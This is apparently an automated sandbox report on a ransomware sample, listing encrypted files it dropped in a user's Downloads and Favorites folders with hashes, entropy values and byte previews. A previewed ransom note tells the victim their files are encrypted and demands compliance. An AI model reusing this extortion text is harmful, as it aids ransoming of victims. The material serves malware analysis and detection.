                                                                                Preview: 1.&.?.j:..H..+.,.....@ob.J3Sf@.....).@.b...> 1M..I... .#.69.!.c..h..1.a~y....$3.&...x...?~c}..'..`......u.........Sl.x]..d..a8.y~..N......u...z..U.$.6...?y..i)...8.]......GArL..]....x..\....y...vj....2.e`.o7...a.......6I......b.X.|.i.....f.i\T......=....m.A.[..5J.j}..C.............#/K.%A^.U.g.af..l5.Nd....Y.=.R|1.....s.!..B..'.(..f..L.98....&/+.!Y..83..]y.4.........w..dZ.....F..T...>l./..]:cd.*.f.15..iU&......U.[.{.[.,<....c/O.Q..|.<.-.I..}...y..... ...C..alj...C....f.o.....S.R..........C.D.[`.P.}."..-...ZQp.G"....v..ko=WJ'?l..@`...........Ou.].v3G.6.n.u.@.9.......$.K....Z...5?..k.\.Vo..Q..8.8.F.Q....(.....T:e.7i....~..........l.P.pT.....(..9..A.fy.K...q.I.....a......%`.cYW....O.v6...z....s..h..2.?6F.QyS?....X..k..A.........g.P..u....[.J.wg.).......Q.tn.d....n..k..P.$..H-.r.uN..;.....2WJ.Bc.(.!?|..,......pQ...5I.....k.<..:...V...D.>1y.^n0................~EM.....ke;.D.P....@p..D...K.@3..@. ...v........?\/..K...=....$......R.n.. 2...
                                                                                C:\Users\user\Downloads\QCOILOQIKC.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.843367495870372
                                                                                Encrypted:false
                                                                                SSDEEP:24:B76BuPJ35HNV3kBSs64V+IS94gF5hp6b7gKFfWY/yZC4+2XVh/KAziBrTfu/AP:UBeHH3kBSqbsbYb7gKpWOyZPXVh/KHpd
                                                                                MD5:96B266B1BF45EC1F86E18152C2716294
                                                                                SHA1:669FCA237423C40E4FDBC2402F8B8E10720B6A01
                                                                                SHA-256:2433C71EA782C4BA992AAE026E98C2E7EA345F49BB038E19F6B21708C384985B
                                                                                SHA-512:F379FB68CEAE90EDCE484C2FFDFEEB53F7D6ECC3CE7F9016362F19661EADFB6081A0A963430931AE0AC27785051EA95EC77908C30AA6A605F39B63A8500F566D
                                                                                Malicious:false
                                                                                Preview: ..B.;....;.a"....sRbU.v...S[.N..XQ.....e...l..K7...).....%D.s.....#........_.....j.e...M..E.....tGq..8......(...;A4...ay*h.-.P.Zb3:K...d@za..Q..R\3.....].(........s..A.C..g.P6d..fF\..M.t...x\s..Y.P..........!?.e.n.C.vh.:.*a.J0{SP....P..)..0.[3..u..............2}@..GXmdq@.\Bj..O...|...........Tc..0...)q.`.h...T),...QDH..>h.U..L...*.I.n../......i...S...=.ANv.<...a....v..ZT......;I...t.@.eWC5$Z.....G.p..^}....|..&...EX...sW..(...g..~C.T....&._...@......."..=.e(e.u.._%3...H.v.T...dP...k.a.._.n0........i...a...3....n........9.."qu56(m4....t&=.w/.^...4]t`z,FE..|.....6.u..^....<...m(]....M.<.#.2.?~..Y.-..Pb4.g..'....X.....6..8...L. ..(R....`.....e*.z.x/....O... .c..)."|.9...H....C..p}.Dy.=....['>j...E.....x%,U...n.....b...;.%2...f.l2.........rh:Mgt...)....*.hR}.v.4Y.... .0....a..O......~..'.....6!G.j_#..G...3i...N~S.#jy.....f).f........E.(9...............ws[..../.ut.h.X.....}%\....R..C.........d......q..@...k.b k..w.....M.8b.i.....fW[#;.Sp.^
                                                                                C:\Users\user\Downloads\SQSJKEBWDT.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:PGP\011Secret Sub-key -
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844985474885309
                                                                                Encrypted:false
                                                                                SSDEEP:24:XbUf+DIFhfiCpuPqgPn98z2DgdEr2TAVYeRsQrTfu/AZ4Cv:Xk+CtePTP902DagBdKSTfu/AeG
                                                                                MD5:ADCC10134BD6C8D2F309B17435AD1397
                                                                                SHA1:2D315C33F1EFFE374A51D5CCDC3552777EFE9C07
                                                                                SHA-256:23AC48FA19E26C01CAF5DB6A10FD98537C0758D3BDE9438FE9E9125EAA9E6DF4
                                                                                SHA-512:BDCCF2E60822A5950696CE3C0EE6296C0EC024DB9EE01942378B19C2A0AF9CA0AEF37071C7A41021B2CA3734911B6F07ED80BCEF180A99CEFB1B7C2A3667E2AB
                                                                                Malicious:false
                                                                                Preview: .."Db...3$.j v.b.q...U..j...b..R....?.Z..._...n.QK..DX....+2.NN..B..._..0.r]u..........cO..P\m..A..:.R.P....R....Z.9 ...}...g..iw.j^..8.0..E.....s._..m... ..t....l..|I$U..zs^N...DV...2...(.7...f...P.J.....{Oa-5,@..v||....b`bGA..?.q.1...g.2..c.........T9A......'...VG....b..U...p..*.z.C..#....I.w4.|)...8...^a.+=..!Y.S...~.....mL.XXd.....O#.2....6..:w.1..S,..L......?....)...v.;.a....UD0g..<.....>c.}..8../.5.}.Q...3*..k...D..z&...'w7!.....F..)X)...}..+[......E....X{.7z=..._a6.uw..m.C.e..}..17...L....Y...B..;..pd1+.......U......."26P#...Z.I|..8..`.v.,m>.t.`.E.K.A..>6jS+.9#..........S.x...R.....f......Oa.S 7...]-3...5.,J@.nWJ...O....a........+bL......:a_m.fz.....L`.,XH.Br........#Z..N..F...../g.3.}.n..v.U.sB......c..b...."...=_.....".9.d-.4.-.]A..X..j%..B.._..'.GSB. >.{...m,O.....<.-...z.|..~...L%....1....0.=]G..cY..5u..E.J4....J....F9....t..RDi....h*)f.fq.y../..B.aR..H.-...l...".o.FUu......G.........n;O.$%......9.vO.....D...B..e.....+
                                                                                C:\Users\user\Downloads\SQSJKEBWDT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.828099226430347
                                                                                Encrypted:false
                                                                                SSDEEP:24:2ydONblXk9OxyoVs4EnpHFSur3gmQbf/Nn0bSzlZ9ErTfu/AQ+J:2yATXoJGqpHFSk3gmQbfV0mzbwTfu/Ad
                                                                                MD5:561472835CD78FB18C6AB8486F73E766
                                                                                SHA1:C4C9FB56449CC8305BFF18F074ADFC8461D99ECA
                                                                                SHA-256:B40CD6C548CD2AB63557EFAD22293E53C004B32ACF2D9E2A0BBA4F8DAD70EAC4
                                                                                SHA-512:3B13FD404999D70CB3F01AF1BBFBE7C652EFAEC8B1BD6A7CD5E4FD65E0310F746C930C26C3C89936C4365210E3C531C511AF2E48F76E0A11955028D9F482D1D3
                                                                                Malicious:false
                                                                                Preview: o....A.R..`.z...}_.T.3....rF.0.<...R.......x.y...y.g.?.._.D.F.V.....?....:.J..q.X-.....<. ....J.... O+T.=X.a.@.b;9..H../t....X.>.;.u.v....W./..4.?,.s ...,.....>1'...Fb:....tYK..y.Z.d.T.m..8.?"...4M.1~....<F....j.5. s......>.......".'...@.$d....N......q...U....Rk..2.1."...u.].....u..'"..............l+.i....M.......Vg.+..F.\.....{rj:.j.|X..3..m...st.{'8..Vus.`......`."..6........#..{.'.`[.#!$..9.........e#.b..<..}'..0..............f3..a.j...W.|..........4...QC....j.N........Z...k"...I.......-....V[.|wY+'Z....-0.Y?<>Y...$.5..?l.......E)..Q...:.H....=5..nXd.........Q7.:.4.7@0..nv.^..k..KJ.o.%...X.. 8.R=3;?.{#..7...g..GJB.7...N.Li...Wq..........3...j.O.j...X.q..D<.&Q.4...).~&...t[.t....t}..j/T..e......A...Xu..,...v.R~....3.k..y.O>Sp.*f.m...W.........m.a..@^5.|..l......\.`|.yS'j....4.h.../8^...&O..vr^.5.1..0b.^.Z..jMRrc......7.C.H^{u1.GA.t$.'r...c.#.a:..w.a.$2`.......1.}...6%...6..V.[}X7-.j.1..@.I..p>C...@...9.........<...:..
                                                                                C:\Users\user\Downloads\SQSJKEBWDT.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854757088768596
                                                                                Encrypted:false
                                                                                SSDEEP:24:yqtWJfZnVAxGBJfr3Locm1RTeJHJnoETMiEerTfu/Aok:yUgfZn2qxzLkTcH937Tfu/Aok
                                                                                MD5:97BE49E4CDBEC53A35EC22546427BC13
                                                                                SHA1:77E7AA4BCA0A5AC04DAD04460FF7D95E98B67595
                                                                                SHA-256:68CCFB1186D71D4C06019847CEA9AF2A5F812499D0068AB261AE91C69D120032
                                                                                SHA-512:29AE94562220C819B6468FB07802FFA45E971F04D8A58EADF82F94BCF73EFE828B4A15EE8CF198146858902D4BBBF54709A6F79D1717F4F1470114374E30EFF5
                                                                                Malicious:false
                                                                                Preview: R.G.M....j..Xl..$..Cz?.....40_.Q....G.%.W..A..Z..._..c...@f..~..w.*.c...0=i.B...M_s...r?:.I.g...6..].w./....W.../..*T.....rq|o..*7.5...._l.w.u>...d...j../..c.....I.X.hnPb..(.:.1.m.!..7.H......xC.p.......k.F....{...`[.L.......'./{.Z...".x.w!.6.>..@.K....s....SN...R...+e[..*.a....~....=M?...B.V...a.6.7x.&1... ..\.Dpn........Y...'?.t..[.2....)..~.yH.....:..U.1....4......N.wH.1e.@.z.D..T.P.c1......s.W..&qc..X.><a.......j....M...4t.G.k.}Jc.........L0)..K.-..u9.e..tC..B+.+.?f:!..Z'.&...&z.@0.....c@{...Vb...#4.......J5.."(..l....y{../...T..\..).S4...Y.....^..;..k...w..K4A..1.*.L.r..7..~...a.|....bE.7.....].*,...9..CL...&s..!....r[.%GbU.....(.@..[C.}....h.:.D|...._JD....A)q....d..%.....J'.2L2.m..:..sI@^~...)L.R .6..S=2=5ml..g..OAMmq=dEgO.B.....K.*.):....x...j.:t^..O......G.O...Y...-(B..k9.....)..........a....H.d......r$|.%i.{q..D.z{v....h..).......!..]..'@.6.....n.$.&.#.*.y.t.k...+../k*-6.8FP..Vc.8...Wn..&].m..Z.s...C...r..........&.2.l.
                                                                                C:\Users\user\Downloads\SUAVTZKNFL.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.872974419580684
                                                                                Encrypted:false
                                                                                SSDEEP:24:0T4okLBjBu0NydC4NOXCdSzSwVfXB5RQHnabDbi2rTfu/AjK6:0QbuBI5y8zSEfG67zTfu/A/
                                                                                MD5:544BA89FE099D448FD0BDF6378DF3838
                                                                                SHA1:68865F219E86FE35AF3F1D438144E265F0033445
                                                                                SHA-256:45995DE09C445D0430F3691B4F15039F31A62B79DDE0C23444E0203937F08DBE
                                                                                SHA-512:3B95D760536AB242208CE650C715D6E24223AFD14A19A6209AB4F9FDE2AFF60A691577ADAACDCD55D6131458A75F5ECB8C5BE9242A8B67C71FC788491A8B609F
                                                                                Malicious:false
                                                                                Preview: dl.7.B&..........F).)..l..Y.}w....B...u....g.....T!.]R..v..jn.mG97._..[S.k9."0r.e....Ut.a.O..av...(.Wj..c...3.x..h.g.i.eG."......ga.<.{.n.:.......[Z......J...8..*=W..1.......7o.... ...Z@..{.F....%..{.*..8rpr.......k.r..1q...w.y.I-.......)s......6S=.?z.D........<.u.J0{f.1...U...~|...............z'5xQ.'..&O...`3.9.~.U.T$..|....:. ..dC......$Y.z.(.3HB./v....K.....2.5...:.'.t..Fq...4...e..ZE.._...?DbSJ.......U.y41Bh.i....[....z...0.....FaQ...<VVE .h.iB.&v.d....o....+...y_l%....d.h.......\..]z.?.m.>Y.$.......{.:m........DS!.L.......{y.?[....MK...2.u..X.(U.G...:\^._...f.v...4a.<.s..}.Sv.GDB5..P_.<p.d.....%....6..)...tYR...C..v.@.axv{.6...bU..5c.iF@F..K.q..o.F...V........{......qV;.@....UN...w.9`+.....2[.:.j....MB.FJv..ge..i.5.I...........M.^....Z........H=..s.....i......X..J.v.8./.'..V. .W`.j.8.....UpB.X.C.$;..:/...E]..h....P.b.<.5....m..Hj.X...q.\...G....h.....q.6.S..6.1,.* F>..E.@...s..,'..........".]B.c4.....~S......<.9.c.....PV.........`.0....[...
                                                                                C:\Users\user\Downloads\TQDFJHPUIU.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.862779756428135
                                                                                Encrypted:false
                                                                                SSDEEP:24:IrS5wFnFKA4twcTngsdlH3wPN2bCej4zxVSGuBHtovgdNS2wY6brTfu/A7I:IrRprCngsd13KEC/zJuRtovgzS20TfuT
                                                                                MD5:F7477ED684CF0C1BFDEC0890535E4B0D
                                                                                SHA1:BAB7017F28D969327DA4BA71A2F9139E7C4BB6B0
                                                                                SHA-256:1C4C1ED1C29ACE1BB3B0CF064CAF63E5A27F820C0901803C33D0FEBB45301F74
                                                                                SHA-512:45BB6EB5BC40CB57D174DB564609F1FCF294032573AC5282B8E6A5FE6CA8927C5C96F4BAC1ED5C539F3DA9E9B29103B94DE95069781EC2D358D1C2FC08F13474
                                                                                Malicious:false
                                                                                Preview: ..e.3}..U...(....L.v.....o..,..,M.....q,..."kC}........%.3).......@../04%.......l&9C.{[$I..H......]..j.....x*.6F)5+.2.M..X....=:..V.[.bO..\...4?z...U../..L98.0.sY.P.E0}....m.n.m.b..9...{6.-GZ...`QA. ).?..0.K...-.VMug.l..I..H.V.0.X2..s..KZ....k...W!.Y./..&k]..x..z#e.e6NQ......6;.=@.........X./]bE....[L....B....(.^.F.\...d.......:./.X..m..{.$u}@.-Q.......UE...x..2....|J..z.QU.L./..v.....<j.H'.....l.K....[..}0....AE..Y...m=..e.x..../O,.6..Y1.<.O...y..3.t....N?9........c....i.[H.dZ...o.....j.q.:....e....,NN<..Ms9V..IP.D.g.F@..n....V.I.....1.,.@.........r..H...9...0o.'....Z..d`o..2....>..O.......qY..^..Q..'p....t.Ka...c\S...L[....L......5.h..m..; .<:....k%..]...b...%K.v<.k..H.ppP.SW.Y.*{..c...w6....K.L....OW..FXmG..._q3.R^c.'...^.o..[.VN..#|....A...h..'...?CnH..L..p.1.....4......$....k.;.1I...A..k.# kO..8.m.f...@.^../._b.7!l(...=\.[w....J..'.yXO`.........z3..4dN`..._4..].c.......z,q4..G.....T.i..f..1?..!w.B.=.B....c...d....;1...W7G.}......&.>..~..G
                                                                                C:\Users\user\Favorites\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Favorites\Amazon.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):339
                                                                                Entropy (8bit):7.390416970414081
                                                                                Encrypted:false
                                                                                SSDEEP:6:SKogT3S7kXLCFuRdiKJA6DHbVTY8jPdTXIzIrVsa3P+NbcydTTZXrfAipV:1T4kXLCF0diV6jdrTfrii+NbcHc
                                                                                MD5:1E3DCB1F8308425B567D29B42E55E19F
                                                                                SHA1:77783FA0D0A7F466BE3E3C7B7F011DBE474A227A
                                                                                SHA-256:852AB2C339CE347851E0643DB4156BED72A781E76BC6BFC83741D659E7930807
                                                                                SHA-512:971FE8DB7C555BAEBBC0056D0EF854EE0537A97031B31970147B6A4E28DE54855B61232BF1FBAAC87A89F43C579FCE7B59E6B3A11FC848202218E875F920E187
                                                                                Malicious:false
                                                                                Preview: ".0".Q..BY..7.&.C...q7..)...DOc*K.U...5.....i.h...+`......W......q.9....E...v.V...'....,3.......i....e.xOH....a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4."..M.mF(.1v.3.....w.({...x..8).w.}ZC........;U.=
                                                                                C:\Users\user\Favorites\Bing.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):436
                                                                                Entropy (8bit):7.47854486955666
                                                                                Encrypted:false
                                                                                SSDEEP:12:bbc7Stvr3DsFYcDunRHV5qurTfrii+Nbcu4:Fj3QFRMHV5qurTfu/Au4
                                                                                MD5:9937D0A0D6EB3867A09102491A89D2FB
                                                                                SHA1:E1CDC35FC499E4B79FB5A009010A9992C54E0A2A
                                                                                SHA-256:4301AEDF687277ECEDB448C0C98603BB80CCDEDFF281492AE404D6176747050D
                                                                                SHA-512:4184E709B6A94518C453711AA662E82767A424E0A59A576356C6339088C3F4ACE3614558D6B6E61AAEF77A020626DECE221018D074FBCAAD838B3D6E72F41E45
                                                                                Malicious:false
                                                                                Preview: c..}..|-=...U]A........I..RPB..5}.X4.%.%Z.....J.../..[.m.w!y.'../..._...U.5.........5...f....)...$..j...c....V..0.#fpX....I.....VS._<..x..).4.!@.6..k.T...II.."...B....%..r$o..u...s.........,.W`.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4k..S.&.........7n.o4.^P.Rl..Y..j9.......T.....ae.
                                                                                C:\Users\user\Favorites\Facebook.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):341
                                                                                Entropy (8bit):7.431966666458134
                                                                                Encrypted:false
                                                                                SSDEEP:6:UFz7kytDsCm+k/lZpop5CpTY8jPdTXIzIrVsa3P+NbcydTTZXrH8xRwLX31:Ud7N6Cm+ktS5YrTfrii+NbcAn1
                                                                                MD5:06AAB35F4B482BBED241106819B998F7
                                                                                SHA1:A258EB0FB39D88DFFBBA4BDF536AA3F95F3B2B57
                                                                                SHA-256:0508D6538229E9C9668D73B44CE26E4ABF48DEA2E6E97A2B9C55B819D573F97F
                                                                                SHA-512:E5543DD1B9C2D3B300A92A1F1ED69FBE88D7C048C5CBA4E18C62931D841D51B4429E516D9C21FFC04CF127EF146E4B6BD29F9ED42AFC44B9872B7F184A75405D
                                                                                Malicious:false
                                                                                Preview: .G.yyX...E.i..\.....`..V._...c/.}=.c.aa$..Y6.I..H....Vu....L...3x..'.;.....@..-:..r8...i...Y......9......r<...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4..@.J....9%..;f.R...'.6.....O:.v..@...........1KS.
                                                                                C:\Users\user\Favorites\Google.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):339
                                                                                Entropy (8bit):7.38307117396667
                                                                                Encrypted:false
                                                                                SSDEEP:6:MRmFdFjrZgLuR54xTY8jPdTXIzIrVsa3P+NbcydTTZXrE3OxxxFNswrBw:M8FXHZOuR2rTfrii+NbcJOxTFmb
                                                                                MD5:845D2642716A7A3F4420B01193BCE20F
                                                                                SHA1:8F5E98EAC01487384EAA2B488EFE441F6A7CF1FC
                                                                                SHA-256:B8FBFDF28F33128E15CD01266B57FEB7C0C4811ABE561E0BAC43F1DB74DEC8D7
                                                                                SHA-512:FD392FDCD12276E2C7217E8D6A4E8731327D3AFAC7334305A03F65158A39D834841207E41E40894F855C788C486CED4626EA246322C2A824229918D46AD32BE8
                                                                                Malicious:false
                                                                                Preview: .0*P..f...`^H...P..U.....'.....I8..:)...-..D....#-."A~.>.........vy...K......s]...q3..t....zt.Y.L...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4)..oux..}..K...}=.[.&Gr.uh.5Z..(.E.Y..n....I....o./.
                                                                                C:\Users\user\Favorites\Links\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Favorites\Live.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):337
                                                                                Entropy (8bit):7.375561847938648
                                                                                Encrypted:false
                                                                                SSDEEP:6:J7HiLW6Zu4KraF2QTY8jPdTXIzIrVsa3P+NbcydTTZXryHEacIltjy:pHiKL5q2WrTfrii+Nbc5RbzO
                                                                                MD5:044FA06146C53568E4C7A00AD7260391
                                                                                SHA1:A48E5520D6201DE0096A3D535404221C65C40228
                                                                                SHA-256:44E973CF6104261170D7D01935DA4B38E7203BEAF1F65815E8029534EE1EA645
                                                                                SHA-512:6EB2317D95C3BCADBB5B9F27DCAAC44BD926BBE4B7BCE96939664D94DBAE693FD2F54AAE85E169E169F1A4B8CD94AAD7513B84F9373C19FD274A04680A2FD95F
                                                                                Malicious:false
                                                                                Preview: ....Q...X.....n..... .0..2......5.6.7C..t...`.'.x......#.@!..@...s.|..|P@.q..q.tO~ .....l.z...[Q.=g+.a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4..f.'N|....]r.Zsq57g7....4.....N}.2.*[.-............
                                                                                C:\Users\user\Favorites\NYTimes.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):340
                                                                                Entropy (8bit):7.318627334745133
                                                                                Encrypted:false
                                                                                SSDEEP:6:KB+mEIRhL+4GHmZPBTzDu3TY8jPdTXIzIrVsa3P+NbcydTTZXrugdAWOFNA7QW:T/IHLtBDujrTfrii+NbcBWOFNA7QW
                                                                                MD5:082A5959264F7FC2713855E1ADEA41AB
                                                                                SHA1:5359803D4FF18A1DFC33093DED8E204C160B01C1
                                                                                SHA-256:42913E321CBACC9BD101545102D5051FCB90C8A18A145A5B00B3F36FBA0074AC
                                                                                SHA-512:4D6BA172997C9AC2D8729DB5C11466119823FC0F61EFE341492B3E1105A5B64832FD8F81F89A5B5061108E198B0AD5060F1DA58275748C445BE3001352CA330A
                                                                                Malicious:false
                                                                                Preview: ...49{......v.5CAN..B}.m..D9.._'z^.)..Q..9.l.j....S&.Jzo.<..;[>........`.S.(.4.A.U......<(......i.......r...a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4..oZ...h.0.t#&.wx.aF%..g&.r.;kw..{..>..\v......(..
                                                                                C:\Users\user\Favorites\Reddit.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):339
                                                                                Entropy (8bit):7.3614807715507835
                                                                                Encrypted:false
                                                                                SSDEEP:6:gzY9tm30z907AqyZ9bVTY8jPdTXIzIrVsa3P+NbcydTTZXrp3/tyTjQ:i3sSyPRrTfrii+Nbco/V
                                                                                MD5:03EF604F3222C9F54792C293021F2C58
                                                                                SHA1:2A976FA0CE4488FBA1677B93B8834E5CAD94EAD3
                                                                                SHA-256:88120B294F75475BD63C282F072AAE8FD9080F7D1785DD2A88A579395461C389
                                                                                SHA-512:D4282C4FE76F73B1BEC35A3838E034960423459863F3FBF018A6901E72F7AF1E37D3952E2D0510D10F82FD83CBCC7E642EE41CC1E4D8D0D127DE4068DBE4C024
                                                                                Malicious:false
                                                                                Preview: }.r.>s.......hN+...OMD.3cB~x6~.B......#Z.a#.......?O.IF".uB.\..A<.!.%A.....R..d&.....|......f0.!......Z...U..a...WX&..+.B.\^....5...;..C#.=+.......f~..U...C4..(.y.v.m.+..6........k.J08..0....!5..?...........S..!.r..P.>".......Gl.....\4l..?...m8dZA...wc;.|.Q.x..q...p/4.$. +..p...N.kW.F.$..v.W..96nPJ.%..B.X._......Z...
                                                                                C:\Users\user\Favorites\Twitter.url
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):340
                                                                                Entropy (8bit):7.38066728747984
                                                                                Encrypted:false
                                                                                SSDEEP:6:9vPiEGSpsuoTsP1ux6RwTY8jPdTXIzIrVsa3P+NbcydTTZXrnsFxy/aU:9nbpRoTsI22rTfrii+NbcP0
                                                                                MD5:7F1F80B41E6BADA7A594E0317E630C3D
                                                                                SHA1:C755A796CF639DA712D08522B6D8F48FD2087419
